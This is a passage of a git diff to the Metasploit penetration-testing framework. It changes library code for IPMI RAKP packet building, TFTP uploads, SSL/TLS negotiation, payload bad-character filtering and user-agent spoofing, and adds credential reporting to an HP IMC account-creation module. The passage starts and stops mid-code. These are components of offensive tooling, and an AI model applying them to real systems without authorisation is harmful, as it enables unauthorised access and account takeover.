:private_methods, :gsub, :dump, :match, :to_sym, - :enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!, + :enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!, :encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase, :each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=, :!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?, diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index d15a999777..3af1e4080d 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -58,7 +58,6 @@ class Client 'method_random_case' => 'bool', 'version_random_valid' => 'bool', 'version_random_invalid' => 'bool', - 'version_random_case' => 'bool', 'uri_dir_self_reference' => 'bool', 'uri_dir_fake_relative' => 'bool', 'uri_use_backslashes' => 'bool', @@ -586,8 +585,8 @@ class Client begin - buff = conn.get_once(-1, 1) - rv = resp.parse( buff || '' ) + buff = conn.get_once(resp.max_data, 1) + rv = resp.parse(buff || '') # Handle unexpected disconnects rescue ::Errno::EPIPE, ::EOFError, ::IOError diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index e2d425c6c9..a048138269 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -52,7 +52,6 @@ class ClientRequest 'method_random_case' => false, # bool 'version_random_valid' => false, # bool 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool 'uri_dir_self_reference' => false, # bool 'uri_dir_fake_relative' => false, # bool 'uri_use_backslashes' => false, # bool @@ -344,10 +343,6 @@ class ClientRequest ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (opts['version_random_case']) - ret = Rex::Text.to_rand_case(ret) - end - ret << "\r\n" end diff --git a/lib/rex/proto/ipmi/utils.rb b/lib/rex/proto/ipmi/utils.rb index d86df13bd5..5848a9fde9 100644 --- a/lib/rex/proto/ipmi/utils.rb +++ b/lib/rex/proto/ipmi/utils.rb @@ -15,8 +15,8 @@ class Utils def self.create_ipmi_getchannel_probe [ # Get Channel Authentication Capabilities 0x06, 0x00, 0xff, 0x07, # RMCP Header - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, 0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5 ].pack("C*") end @@ -36,20 +36,20 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x08, # HMAC-SHA1 - 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x08, # AES Encryption 0x01, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end @@ -68,39 +68,43 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x08, - # No Encryption + # No Encryption 0x00, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username) - [ + head = [ 0x06, 0x00, 0xff, 0x07, # RMCP Header 0x06, # RMCP+ Authentication Type PAYLOAD_RAKP1, # Payload Type - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, - 0x00, 0x00, 0x00, 0x00 - ].pack("C*") + - bmc_session_id + - console_random_id + - [ - 0x14, 0x00, 0x00, - username.length - ].pack("C*") + - username + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + ].pack("C*") + + data = + [0x00, 0x00, 0x00, 0x00].pack("C*") + + bmc_session_id + + console_random_id + + [ + 0x14, 0x00, 0x00, + username.length + ].pack("C*") + + username + + head + [data.length].pack('v') + data end @@ -109,7 +113,7 @@ class Utils bmc_sid + con_rid + bmc_rid + - bmc_gid + + bmc_gid + [ auth_level ].pack("C") + [ username.length ].pack("C") + username @@ -122,4 +126,4 @@ class Utils end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/kerberos/model/kdc_request.rb b/lib/rex/proto/kerberos/model/kdc_request.rb index 23fa03df5c..e54332739e 100644 --- a/lib/rex/proto/kerberos/model/kdc_request.rb +++ b/lib/rex/proto/kerberos/model/kdc_request.rb @@ -118,7 +118,7 @@ module Rex when 4 self.req_body = decode_asn1_req_body(val) else - raise ::RuntimeError, 'Filed to decode KdcRequest SEQUENCE' + raise ::RuntimeError, 'Failed to decode KdcRequest SEQUENCE' end end end @@ -163,4 +163,4 @@ module Rex end end end -end \ No newline at end of file +end diff --git a/lib/rex/proto/tftp/client.rb b/lib/rex/proto/tftp/client.rb index a930055cb6..7ad7761adc 100644 --- a/lib/rex/proto/tftp/client.rb +++ b/lib/rex/proto/tftp/client.rb @@ -295,6 +295,7 @@ class Client end sent_data = 0 sent_blocks = 0 + send_retries = 0 expected_blocks = data_blocks.size expected_size = data_blocks.join.size if block_given? @@ -302,24 +303,43 @@ class Client yield "Sending #{expected_size} bytes (#{expected_blocks} blocks)" end data_blocks.each_with_index do |data_block,idx| - req = [OpData, (idx + 1), data_block].pack("nnA*") - if self.server_sock.sendto(req, host, port) > 0 - sent_data += data_block.size - end - res = self.server_sock.recvfrom(65535) - if res - code, type, msg = parse_tftp_response(res[0]) - if code == 4 - sent_blocks += 1 - yield "Sent #{data_block.size} bytes in block #{sent_blocks}" if block_given? - else - if block_given? - yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] + loop do + req = [OpData, (idx + 1), data_block].pack("nnA*") + if self.server_sock.sendto(req, host, port) <= 0 + send_retries += 1 + if send_retries > 100 + break + else + next + end + end + send_retries = 0 + res = self.server_sock.recvfrom(65535) + if res + code, type, msg = parse_tftp_response(res[0]) + if code == 4 + if type == idx + 1 + sent_blocks += 1 + sent_data += data_block.size + yield "Sent #{data_block.size} bytes in block #{idx+1}" if block_given? + break + else + next + end + else + if block_given? + yield "Got an unexpected response: Code:%d, Type:%d, Message:'%s'. Aborting." % [code, type, msg] + end + break end - break end end end + + if send_retries > 100 + yield "Too many send retries, aborted" + end + if block_given? if(sent_data == expected_size) yield("Transferred #{sent_data} bytes in #{sent_blocks} blocks, upload complete!") @@ -327,6 +347,7 @@ class Client yield "Upload complete, but with errors." end end + if sent_data == expected_size self.status = {:success => [ self.local_file, diff --git a/lib/rex/ropbuilder.rb b/lib/rex/ropbuilder.rb index 635119972c..3b24886cd4 100644 --- a/lib/rex/ropbuilder.rb +++ b/lib/rex/ropbuilder.rb @@ -3,6 +3,6 @@ module Rex module RopBuilder require 'rex/ropbuilder/rop' -require 'metasm/metasm' +require 'metasm' end end diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 1866ba37cf..50c4924449 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -56,6 +56,7 @@ class Rex::Socket::Parameters # @option hash [Bool] 'Bool' Create a bare socket # @option hash [Bool] 'Server' Whether or not this should be a server # @option hash [Bool] 'SSL' Whether or not SSL should be used + # @option hash [OpenSSL::SSL::SSLContext] 'SSLContext' Use a pregenerated SSL Context # @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is # default) # @option hash [String] 'SSLCert' A file containing an SSL certificate (for @@ -117,6 +118,10 @@ class Rex::Socket::Parameters self.ssl = false end + if hash['SSLContext'] + self.sslctx = hash['SSLContext'] + end + supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1] if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion']) self.ssl_version = hash['SSLVersion'] @@ -324,6 +329,10 @@ class Rex::Socket::Parameters # @return [Bool] attr_accessor :ssl + # Pre configured SSL Context to use + # @return [OpenSSL::SSL::SSLContext] + attr_accessor :sslctx + # What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1) # @return [String,Symbol] attr_accessor :ssl_version diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index ff34271f91..ca92f0852a 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -56,52 +56,38 @@ begin def initsock(params = nil) super - # The autonegotiation preference for SSL/TLS versions - versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2] + # Default to SSLv23 (automatically negotiate) + version = :SSLv23 - # Limit this to a specific SSL/TLS version if specified + # Let the caller specify a particular SSL/TLS version if params case params.ssl_version when 'SSL2', :SSLv2 - versions = [:SSLv2] + version = :SSLv2 when 'SSL23', :SSLv23 - versions = [:SSLv23] + version = :SSLv23 when 'SSL3', :SSLv3 - versions = [:SSLv3] - when 'TLS1', :TLSv1 - versions = [:TLSv1] - else - # Leave the version list as-is (Auto) + version = :SSLv3 + when 'TLS1','TLS1.0', :TLSv1 + version = :TLSv1 + when 'TLS1.1', :TLSv1_1 + version = :TLSv1_1 + when 'TLS1.2', :TLSv1_2 + version = :TLSv1_2 end end - # Limit our versions to those supported by the linked OpenSSL library - versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v } - # Raise an error if no selected versions are supported - if versions.length == 0 + if ! OpenSSL::SSL::SSLContext::METHODS.include? version raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version' end - last_error = nil + # Try intializing the socket with this SSL/TLS version + # This will throw an exception if it fails + initsock_with_ssl_version(params, version) - # Iterate through SSL/TLS versions until we successfully negotiate - versions.each do |version| - begin - # Try intializing the socket with this SSL/TLS version - # This will throw an exception if it fails - initsock_with_ssl_version(params, version) - - # Success! Record what method was used and return - self.ssl_negotiated_version = version - return - rescue OpenSSL::SSL::SSLError => e - last_error = e - end - end - - # No SSL/TLS versions succeeded, raise the last error - raise last_error + # Track the SSL version + self.ssl_negotiated_version = version end def initsock_with_ssl_version(params, version) @@ -137,9 +123,6 @@ begin # Tie the context to a socket self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx) - # XXX - enabling this causes infinite recursion, so disable for now - # self.sslsock.sync_close = true - # Force a negotiation timeout begin Timeout.timeout(params.timeout) do diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 742685d596..d064f1d99a 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -48,8 +48,14 @@ module Rex::Socket::SslTcpServer end def initsock(params = nil) - raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - self.sslctx = makessl(params) + raise RuntimeError, 'No OpenSSL support' unless @@loaded_openssl + + if params && params.sslctx && params.sslctx.kind_of?(OpenSSL::SSL::SSLContext) + self.sslctx = params.sslctx + else + self.sslctx = makessl(params) + end + super end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index b5dfe85fb9..9d55293c61 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1522,7 +1522,10 @@ module Text # @param data [#delete] # @param badchars [String] A list of characters considered to be bad def self.remove_badchars(data, badchars = '') - data.delete(badchars) + return data if badchars.length == 0 + badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join + data.gsub!(/[#{badchars_pat}]/n, '') + data end # @@ -1531,7 +1534,8 @@ module Text # @param keepers [String] # @return [String] All characters not contained in +keepers+ def self.charset_exclude(keepers) - [*(0..255)].pack('C*').delete(keepers) + excluded_bytes = [*(0..255)] - keepers.unpack("C*") + excluded_bytes.pack("C*") end # diff --git a/lib/rex/ui/text/color.rb b/lib/rex/ui/text/color.rb index e5265f53c2..1a412d53ed 100644 --- a/lib/rex/ui/text/color.rb +++ b/lib/rex/ui/text/color.rb @@ -75,6 +75,15 @@ module Color str.gsub!(/%und/, pre_color+colorize('underline')+post_color) str.gsub!(/%bld/, pre_color+colorize('bold')+post_color) str.gsub!(/%clr/, pre_color+colorize('clear')+post_color) + # Background Color + str.gsub!(/%bgblu/, pre_color+colorize('on_blue')+post_color) + str.gsub!(/%bgyel/, pre_color+colorize('on_yellow')+post_color) + str.gsub!(/%bggrn/, pre_color+colorize('on_green')+post_color) + str.gsub!(/%bgmag/, pre_color+colorize('on_magenta')+post_color) + str.gsub!(/%bgblk/, pre_color+colorize('on_black')+post_color) + str.gsub!(/%bgred/, pre_color+colorize('on_red')+post_color) + str.gsub!(/%bgcyn/, pre_color+colorize('on_cyan')+post_color) + str.gsub!(/%bgwhi/, pre_color+colorize('on_white')+post_color) str end diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index faa889eecb..c925e843a4 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -426,6 +426,7 @@ module DispatcherShell else dispatcher.send('cmd_' + method, *arguments) end + ensure self.busy = false end diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 87b660d6c6..52da87c5f4 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -203,6 +203,10 @@ class Table cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ cmp = a[index].to_i <=> b[index].to_i + elsif a[index].kind_of?(IPAddr) && a[index].kind_of?(IPAddr) && a[index].ipv6? && b[index].ipv4? + cmp = 1 + elsif a[index].kind_of?(IPAddr) && b[index].kind_of?(IPAddr) && a[index].ipv4? && b[index].ipv6? + cmp = -1 else cmp = a[index] <=> b[index] # assumes otherwise comparable. end diff --git a/lib/rex/user_agent.rb b/lib/rex/user_agent.rb new file mode 100644 index 0000000000..9e67b0438a --- /dev/null +++ b/lib/rex/user_agent.rb @@ -0,0 +1,118 @@ +# -*- coding: binary -*- + +# +# A helper module for using and referencing comming user agent strings. +# +module Rex::UserAgent + + # + # List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ + # This article was updated on July 11th 2015. It's probably worth updating this + # list over time. + # + # This list is in the order of most common to least common. + # + COMMON_AGENTS = [ + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17', + 'Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15', + 'Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4', + 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', + 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10', + 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0', + 'Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16', + 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0', + ] + + # + # Pick a random agent from the common agent list. + # + def self.random + COMMON_AGENTS.sample + end + + # + # Choose the agent with the shortest string (for use in payloads) + # + def self.shortest + @@shortest_agent ||= COMMON_AGENTS.min { |a, b| a.size <=> b.size } + end + + # + # Choose the most frequent user agent + # + def self.most_common + COMMON_AGENTS[0] + end + +end + diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index d64792775f..f287048c7d 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' + spec.add_runtime_dependency 'metasploit-credential', '1.0.1' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 1.2' + spec.add_runtime_dependency 'metasploit_data_models', '1.2.5' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 244711be98..cc4abe9cb7 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -30,7 +30,6 @@ Gem::Specification.new do |spec| spec.bindir = '.' spec.executables = [ 'msfbinscan', - 'msfcli', 'msfconsole', 'msfd', 'msfelfscan', @@ -56,23 +55,25 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'jsobfu', '~> 0.2.0' # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' + # Metasm compiler/decompiler/assembler + spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks - spec.add_runtime_dependency 'metasploit-concern', '~> 1.0' + spec.add_runtime_dependency 'metasploit-concern', '1.0.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 1.0' + spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.4' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.13' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture - spec.add_runtime_dependency 'packetfu', '1.1.9' + spec.add_runtime_dependency 'packetfu', '1.1.11' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting - spec.add_runtime_dependency 'recog', '~> 2.0' + spec.add_runtime_dependency 'recog', '2.0.6' # rb-readline doesn't work with Ruby Installer due to error with Fiddle: # NoMethodError undefined method `dlopen' for Fiddle:Module diff --git a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb index 4f5d3de838..1941291594 100644 --- a/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb +++ b/modules/auxiliary/admin/hp/hp_imc_som_create_account.rb @@ -71,6 +71,32 @@ class Metasploit3 < Msf::Auxiliary return nil end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run print_status("#{peer} - Trying to find the service desk service strong name...") @@ -232,15 +258,15 @@ class Metasploit3 < Msf::Auxiliary login_url = ssl ? "https://" : "http://" login_url << "#{rhost}:#{rport}/servicedesk/ServiceDesk.jsp" - report_auth_info({ - :host => rhost, - 